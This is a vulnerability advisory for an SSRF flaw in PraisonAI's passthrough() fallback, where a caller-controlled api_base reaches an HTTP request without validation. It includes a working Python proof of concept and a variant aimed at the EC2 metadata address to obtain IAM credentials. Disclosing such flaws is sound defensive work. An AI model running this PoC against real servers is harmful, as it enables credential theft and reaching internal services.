CVE-2026-34936: PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback

Summary

passthrough() and apassthrough() in praisonai accept a caller-controlled apibase parameter that is concatenated with endpoint and passed directly to httpx.Client.request() when the litellm primary path raises AttributeError. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.

Details

passthrough.py:92 (source) -> passthrough.py:109 (fallback trigger) -> passthrough.py:110 (sink) python source -- apibase taken directly from caller def passthrough(endpoint, apibase=None, method="GET", ...):

fallback trigger -- AttributeError from unrecognised provider enters fallback except AttributeError: url = f"{apibase or 'https://api.openai.com'}{endpoint}"

sink -- no validation before request response = client.request(method, url=url, ...)

PoC python tested on: praisonai 1.5.87 (source install) install: pip install -e src/praisonai start listener: python3 -m http.server 8888 import sys, litellm sys.path.insert(0, 'src/praisonai') del litellm.llmpassthroughroute

from praisonai.capabilities.passthrough import passthrough

result = passthrough( endpoint="/ssrf-test", apibase="http://127.0.0.1:8888", method="GET", customllmprovider="nonexistent", ) print(result) expected output: PassthroughResult(data='...', statuscode=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...}) listener logs: "GET /ssrf-test HTTP/1.1" 404 on EC2 with IMDSv1: apibase="http://169.254.169.254" returns IAM credentials

Impact

On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with AUTHENABLED = False by default, making this reachable over the network without credentials.